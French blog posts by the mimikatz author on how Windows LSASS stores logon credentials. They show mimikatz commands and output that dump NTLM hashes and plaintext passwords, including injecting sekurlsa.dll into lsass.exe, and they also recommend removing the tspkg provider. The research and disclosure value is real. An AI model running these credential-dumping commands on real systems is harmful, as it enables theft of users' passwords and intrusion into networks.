Oups, compte Microsoft et Windows 8.1 preview (en clair)

penguin_oups

Une bonne surprise d’un point de vue sécurité

Il semblerait que Microsoft ait (enfin) compris qu’il valait mieux ne pas conserver au même endroit :

  • des données chiffrées
  • les clés de déchiffrement
  • les routines de déchiffrement

Les mécanismes de protection de LSASS sous Windows 8.1 preview n’utilisent plus la CNG en mode utilisateur (process), mais en mode noyau :

  1. lsasrv!LsaProtectMemory
  2. crypt32!CryptProtectMemory
  3. dispatch ksecdd
  4. dispatch cng
  5. cng!CngEncryptMemory

Par ces mécanismes, LSASS peut chiffrer des données en s’assurant que celles-ci ne pourront pas être déchiffrées en dehors de son propre process.
L’API CryptProtectMemory est utilisée avec le flag CRYPTPROTECTMEMORY_SAME_PROCESS.

Cette fois, les clés de chiffrement sont générées avec certaines informations disponibles seulement en mode noyau (cookie, salt, heure de création, …).
Conséquence : les données ne peuvent être utilisées que depuis le même processus.

…ce n’est pas trop tôt, ces API étaient disponibles depuis Windows XP/2003 http://msdn.microsoft.com/magazine/cc163883.aspx#S2

Limites

Ces améliorations ont le mérite de protéger des dumps mémoire ou d’attaques sur LSASS par lecture de données et de clés.
Mais si notre code est exécuté dans le processus LSASS (injection de DLL ou autre), les mêmes clés sont utilisées, et le déchiffrement reste possible.

Surprise !

Il semblerait que Microsoft se donne du mal pour améliorer des routines sensibles et historiques…. mais ne les utilise pas toujours !

Windows 8.1 preview – provider LiveSSP

windows81_livessp
oui, le mot de passe est bien en clair en mémoire…

Windows 8 (« c’était mieux avant ») – provider LiveSSP

windows80_livessp
le mot de passe était bien chiffré précédemment…

mimikatz :: sekurlsa et SSP NTLM

Après un petit passage dans le monde des mots de passe enregistrés, retournons voir une catégorie sous estimées : les mots de passes réseau

Ces mots de passes sont souvent conseillés, car il n’y a pas d’ouverture de session interactive sur le serveur cible lors d’une connexion à un partage réseau, un canal nommé, ou une autre ressource « simple » à distance.
L’authentification est la plupart du temps transparente, et basée sur la session courante de l’utilisateur, via SSO.

Toutefois, lors d’accès à des ressources de plus haut niveau, ou nécessitant l’utilisation d’un compte tiers, le SSO ne peut plus rien pour nous : il faut s’authentifier avec de nouvelles données d’identification.

netshare
Exemple d’accès à un partage avec des données d’identification explicites

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        msv1_0
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        ssp
         * [0] Utilisateur  : gentiltest
               Domaine      : WINDOWS-08
               Mot de passe : wazatest1234/
         * [1] Utilisateur  : test
               Domaine      : WINDOWS-08
               Mot de passe : test1234
        wdigest
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        tspkg
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        livessp n.t. (LUID KO)

Ou en plus court :

mimikatz # sekurlsa::ssp

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        ssp :
         [0] { gentiltest ; WINDOWS-08 ; wazatest1234/ }
         [1] { test ; WINDOWS-08 ; test1234 }

Dans ces deux exemples, le domaine d’authentification n’a pas d’importance, il s’agit de comptes locaux.

Explication rapide

Notre processus habituel, LSASS, tient encore une fois une table de données d’identification que des processus, providers, ou pilotes, peuvent interroger pour établir des connexions.

plain text passwords

C’est pourquoi le module SSP fait son apparition !
La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

Pass the pass (word)

Il arrive que j’ai le temps de lire les technet de Microsoft…, j’aurais du le faire beaucoup plus tôt !

Si vous utilisez beaucoup le bureau à distance, vous aurez déjà découvert RDCMan :

Si vous êtes un aficionados, vous n’aurez pas manqué le SSO pour bureau à distance, qui permet d’éviter de rentrer ses identifiants lors d’une connexion :

(dans les commentaires du blog MSDN, on trouve aussi les options particulières pour activer ce mode sous Windows XP SP3 et envers les serveurs non NLA et sans TLS)
Ceci fonctionne très bien vers toutes les machines basées sur NT 6 depuis des machines NT 6 ! (ou XP SP3 avec le nouveau fournisseur de sécurité RDP installé) (c’est déjà ça ;))

Sans trop chercher à comprendre le fonctionnement, j’ai tout de suite voulu tester les fonctionnalités « pass-the-hash » de mimikatz sur une connexion bureau à distance….
Sans succès :(, la connexion continue à s’effectuer avec les identifiants virtuels de mimikatz… c’est donc que ce SSO fonctionne avec un « système » autre que nos hashs préférés, a priori directement notre mot de passe courant !
Ces fonctionnalités de SSO utilisent, entre autres, un SSP (security support provider) dans LSA (Local Security Authority) : tspkg

Le provider

Ce provider n’est pas sans nous rappeler msv1_0 qui, au fil des versions, continue de nous faire profiter de quelques fonctions amusantes :

NlpGetPrimaryCredential    ; GetPrimaryCredential
NlpAddPrimaryCredential    ; AddPrimaryCredential
NlpDeletePrimaryCredential ; DeletePrimaryCredential

Pour rappel, ces fonctions permettent de récupérer les hashs LM et NTLM d’une connexion existante en fonction de l’identifiant, puis de le manipuler (réinjecter par exemple)….
rien de nouveau, c’est déjà dans mimikatz 0.x, et c’est fort amusant

Notre nouvelle librairie préférée dispose d’une fonction très sympathique elle aussi :

TSCredTableLocateDefaultCreds
*TSObtainClearCreds

* dans certains cas

  • TSCredTableLocateDefaultCreds ; retourne une structure permettant de pointer vers les identifiants et le mot de passe « obfusqué » en fonction de l’identifiant de connexion
  • TSObtainClearCreds ; a été une bonne piste de départ, cette fonction retourne la structure finale avec le mot de passe en clair (!), en réalité cela repose sur : LsaUnprotectMemory

Problème

Ce provider est actif par défaut sous les NT 6 ! Et le stockage des mots de passe est effectué même si le SSO n’est pas activé !

pass-the-pass

Téléchargement et fonctionnement

Une livraison de mimikatz en version « pre-alpha » pour l’occasion :

(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/tspkg)

Petite parenthèse pour les Windowsiens prudents (Aurélien C), il faut faire attention à débloquer le fichier téléchargé, sinon les fichiers décompressés auront du mal à fonctionner :

Les fonctions évoqués plus hauts, ne sont bien sûr disponibles que sur les systèmes NT 6 ! (ou XP SP3 sur lequel le provider tspkg aurait été activé)

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.

Améliorations

par ordre d’importance

  1. étudier une authentification SSO RDP sans mot de passe en clair (avec un challenge/response par exemple)
  2. ne pas stocker directement un mot de passe avec comme seule protection réversible LsaProtectMemory (ça fait stagiaire étudiant)
  3. rendre le stockage de données de connexion dépendant de la stratégie SSO
  4. stratégie devant être au niveau utilisateur, pas au niveau machine… les identifiants appartiennent à un utilisateur, pas à une machine…

En attendant, il est URGENT de retirer le provider tspkg… surtout si vous n’utilisez pas le SSO du RDP !

Pour cela, il faut passer par le registre :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa, valeur Security Packages et enlever seulement la ligne tspkg

ssp_tspkg
et redémarrer…